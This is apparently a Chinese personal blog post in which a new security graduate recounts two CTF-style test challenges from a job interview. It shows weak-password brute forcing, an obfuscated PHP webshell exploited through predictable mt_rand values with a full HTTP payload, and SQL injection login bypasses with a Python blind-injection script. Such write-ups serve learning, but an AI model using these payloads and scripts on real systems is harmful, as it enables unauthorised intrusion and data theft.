平凡的信安专业应届生的寻职之旅
起因 今年就要毕业了 找工作,成了我现在面临的最大问题 搞不了安全就只能进厂 于是乎,我带上了简历,打开了 Boss 直聘 其中有个 HR 回了我 给了两个域名说是测试题 去做做看先 考核 测试一 开局一个 Basic 身份认证 尝试了下几个常见的弱口令 不行,那就抓个包爆破 发现是以下面这种格式进行认证的 Authorization: Basic YWRtaW46MTIzNDU2 进行 Ba
起因
今年就要毕业了
找工作,成了我现在面临的最大问题
搞不了安全就只能进厂
于是乎,我带上了简历,打开了 Boss 直聘
其中有个 HR 回了我

给了两个域名说是测试题
去做做看先
考核
测试一
开局一个 Basic 身份认证

尝试了下几个常见的弱口令
不行,那就抓个包爆破
发现是以下面这种格式进行认证的
Authorization: Basic YWRtaW46MTIzNDU2
进行 Base64 解码之后是这个样子
Authorization: Basic admin:123456
先尝试用户名不改,爆破 admin 的密码
没爆出来,那就把密码固定为 123456,爆破用户名
爆出来了,是 system / 123456

登陆进去之后,发现是一段代码
<?php
header("content-type:text/html;charset=utf-8");
#show_source('au2c7ts62gs1ush13.php');
$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");
$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");
$____=("t"^":").(":"^"R").(":"^"R").("X"^":");
$x=mt_rand(2012,2022);
$y=mt_rand(1997,2024);
$_____=($x*$y);
echo $_____;
@${$__}[$____](@${$___}[$_____]);
#flag{} into flag.php
?>
看到几个被混淆了的变量的值
直接尝试复制粘贴到本地,然后 echo 一下
<?php
header("content-type:text/html;charset=utf-8");
#show_source('au2c7ts62gs1ush13.php');
$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");
$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");
$____=("t"^":").(":"^"R").(":"^"R").("X"^":");
$x=mt_rand(2012,2022);
$y=mt_rand(1997,2024);
echo $__ . "<br />";
echo $___ . "<br />";
echo $____ . "<br />";
$_____=($x*$y);
echo $_____;
@${$__}[$____](@${$___}[$_____]);
// @$_GET[Nhhb](@$_POST[$_____]);
#flag{} into flag.php
?>
打印出来的结果

所以以下代码实际上是这个样子的
@$_GET[Nhhb](@$_POST[$_____]);
这就是一个 Webshell,但其中 $_____ 是随机数来的
我们没办法直接确定...这时候可以再看下代码
生成随机数的函数是 mt_rand,但没指定 mt_srand
这时候我就在想会不会是在考核伪随机数的不安全性的利用
因为对这块了解的比较少,所以这时候我好好地去百度了下
大体上是说:
使用 mt_srand 指定的 seed 值如果不变的话
那生成的随机数数列也是不变的
即随机数不再随机,而是可以被猜测的
举个例子:
<?php
mt_srand(111);
for($i=0;$i<5;$i++){
echo mt_rand() . "<br />";
}
?>
其中,使用 mt_rand() 生成的所有随机数的顺序是固定的
也就是说即便这个程序在哪里执行,什么时候执行
我都可以肯定它的结果是
1314625450
259325366
363074538
648087914
936429611
而且下一个随机数一定是
1833750153
最后导致的结果就是伪随机数
即可预测的伪随机数
回到这题
这题是生成了两个特定范围的随机数
然后将它俩进行乘法运算后
当做 POST 传参的变量名
$x=mt_rand(2012,2022);
$y=mt_rand(1997,2024);
$_____=($x*$y);
@$_GET[Nhhb](@$_POST[$_____]);
其中还有要注意的一点
就是我们登陆之后的这个页面路径就是个 /
但那段代码里面有个两个点值得注意下
#show_source('au2c7ts62gs1ush13.php');
echo $_____;
我在那个页面里面只看到了代码,但没有打印任何的数字
我就尝试地去访问了下那个注释的 php 文件
发现是一个 7 位数数字,正好对上了两个 4 位数相乘
所以后面在连 Webshell 构造参数的时候,也要在这个文件那里搞
我一开始的思路,是遍历这个 seed 值
根据这个 seed 值去获取特定的随机数序列
拿这个随机数序列去和服务器生成的随机数序列进行比对
如果生成的随机数序列和服务器的相同
则表示服务器生成随机数使用的 seed 值也是这个
【PS:因为代码中没调用 mt_srand,所以是系统随机生成的,常规来说 mt_srand 会在第一次调用 mt_rand 的时候生成,后面的会沿用第一次调用生成的 seed】
但如果要按这个思路来搞的话,工作量是很大很大的
首先,我得遍历足够数量的 seed 保证系统随机生成的 seed 能被我跑到
其次,生成的随机数序列也得足够大,因为我没办法知道随机数已经被生成了多少次
综合上面这两点,让我觉得这个思路可能会行不通...
那怎么办呢?
我又好好的看了一遍代码...
发现生成的两个随机数的个数其实很少
$x=mt_rand(2012,2022);
$y=mt_rand(1997,2024);
最后取乘积的话,也就只有 29 * 11 = 319 种可能而已
那我只需要取其中一种可能,一直爆破就行...
事实上确实可行
根据之前得到的构造下 Payload
POST /au2c7ts62gs1ush13.php?Nhhb=system HTTP/1.1
Host: v50crazyKfc.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://v50crazyKfc.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Authorization: Basic c3lzdGVtOjEyMzQ1Ng==
Connection: close
Upgrade-Insecure-Requests: 1
4054162=ls
跑出来的结果

接着根据提示去尝试读下 flag.php
这里很尴尬的是我尝试了好多种方法去读,最后都没返回
我还以为是加了啥过滤呢
结果是编码问题,我的空格是 %20 而不是 + 导致没执行到
还有个就是 $a($b) 格式的 Webshell 里面不用加 双引号
就这两点卡住我很久,搞得我能命令执行还读不到 flag...
最后 cat+flag 拿到 flag

测试二
开局一个登录框

尝试了下弱口令,直接进去了
用的是 admin / 123456
进去之后是这个样子的

前端啥也没有,于是乎我进行了一系列的尝试...
目录爆破、扫端口、翻 JS...
后来才发现在一开始的登录页面的前端代码里面有这个东东

那就应该是 SQL 注入了...
又突然发现有个 reg 的按钮之前没按过的
点进去是这个样子的

先尝试下 SQL 注入万能密码先
flag / 'or''='
发现成功登陆了...
而输入错误密码则会返回用户名或密码错误
可以根据这点进行 SQL 盲注
在进行尝试的时候,发现空格被过滤了,所以使用 /**/ 进行绕过
还有 information_schema 库也被过滤了
使用 mysql.innodb_index_stats 来代替下
最后写出下面这个脚本
import requests
i=0
flag=""
host="http://xxxxx/login.php"
while True:
head=32
tail=128
i=i+1
while head<tail:
mid=(head+tail)//2
# print(mid)
payload={
"name":"admin", 'password':"'or/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/mysql.innodb_index_stats/**/limit/**/0,1),{0},1))>{1},1,0)#".format(i,mid),
"submit":"LOGIN"
}
res=requests.post(url=host,data=payload)
if "用户名或密码错误" in res.text:
tail=mid
else:
head=mid+1
if head!=32:
flag+=chr(head)
print(flag)
else:
break
print(flag)
跑出来一个表名 gtid_slave_pos
结合上面那条 SQL 语句,我就在猜...
会不会是 flag 用户的密码就是 flag 的值呢?
带着这个表名,还有之前前端那条 SQL 语句的字段名去查
试了很多次,都没能跑出来...不知道为啥
最后还是没做出来...
结果
直接开摆了,跟 HR 说做出了第一题,第二题卡住了
聊了一下,想争取 8-9K 的...
但 HR 说应届生只能给到 6-7K,转正后可以争取
我不大满意,于是这次面试就匆匆结束了
我也开始准备下一场面试了....